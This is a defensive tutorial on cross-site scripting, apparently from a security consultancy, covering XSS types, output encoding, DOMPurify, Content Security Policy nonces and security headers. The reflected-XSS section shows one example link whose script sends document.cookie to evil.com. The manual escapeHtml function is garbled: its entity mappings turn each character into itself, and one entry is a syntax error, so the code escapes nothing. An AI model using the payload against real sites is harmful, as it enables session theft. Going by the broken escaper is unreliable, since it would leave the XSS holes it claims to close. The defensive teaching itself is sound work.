Cross-site scripting (XSS) is the attack class where an adversary runs their own JavaScript in the victim's browser. Cookie theft, session hijacking and phishing — all possible through XSS. Protection comes in two layers: output encoding (render code as text) and Content Security Policy (let the browser block scripts).
XSS Flavours
1) Reflected XSS
User input taken from the URL and echoed back into the page without sanitisation. The attacker crafts a link and sends it to a victim.
<!-- Vulnerable endpoint: /search?q=... -->
<h1>Search results: <%= req.query.q %></h1>
<!-- Malicious link: -->
https://site.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
2) Stored XSS
The malicious script is saved in the database, so every subsequent visitor is attacked. The most dangerous flavour — common in forum comments, profile bios and similar fields.
3) DOM-based XSS
The server is never involved. JavaScript reads from sources like location.hash or document.referrer and writes them into the DOM via innerHTML. The attack happens entirely in the browser; a WAF cannot see it.
Core Defence: Output Encoding
When you render user data, always encode it for the correct context. HTML body, HTML attribute, JavaScript, URL, CSS — each needs a different encoding.
// EJS template — escape by default
<%= userInput %> // SAFE — escapes < > & ' "
<%- userInput %> // DANGEROUS — raw HTML
// React — escape by default
<div>{userInput}</div> // SAFE
<div dangerouslySetInnerHTML={{__html: userInput}} /> // DANGEROUS
// Manual escape (for raw strings)
function escapeHtml(s) {
return s.replace(/[&<>"']/g, c => ({
'&': '&', '<': '<', '>': '>',
'"': '"', "'": '''
})[c]);
}
Sanitization (for HTML Content)
Some fields legitimately need to accept HTML (rich text editors). Use a whitelist-based sanitizer there. Never roll your own regex; DOMPurify (JS) and bleach (Python) are the industry standards.
// Client-side
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','strong','em','a','ul','li','h2','h3'],
ALLOWED_ATTR: ['href']
});
// Server-side (Node)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const clean = DOMPurify.sanitize(dirty);
Content Security Policy (CSP)
CSP is an HTTP header that tells the browser "only load scripts/styles/images from these sources". A correctly tuned CSP neuters XSS even when an injection slips through.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https://cdn.example.com;
connect-src 'self';
frame-ancestors 'self';
base-uri 'self';
object-src 'none';
upgrade-insecure-requests;
Nonce-Based Inline Scripts
Banning inline scripts entirely is impractical for most apps. With a nonce (number-used-once) you generate a random token per page load and put it into both the CSP header and every script tag — only scripts carrying the matching nonce are allowed.
// Express + Helmet
const crypto = require('crypto');
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`]
}
}
}));
<!-- EJS template -->
<script nonce="<%= cspNonce %>">
console.log('This runs — nonce present');
</script>
<script>
console.log('This is blocked — no nonce');
</script>
Additional Security Headers
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cookie: HttpOnly; Secure; SameSite=Strict
Collecting CSP Reports
Before pushing a CSP live, use Content-Security-Policy-Report-Only mode — the browser reports violations but does not block anything. Analyse the logs and calibrate your policy before enforcing it.
Conclusion
There is no silver bullet against XSS; the defence is layered. Output encoding is primary, a sanitizer is mandatory for rich text, CSP is the next line of defence, and HttpOnly cookies are the final backstop. Applied together, these four layers keep XSS risk at a minimum.
XSS audit, CSP design and security header tuning Write to us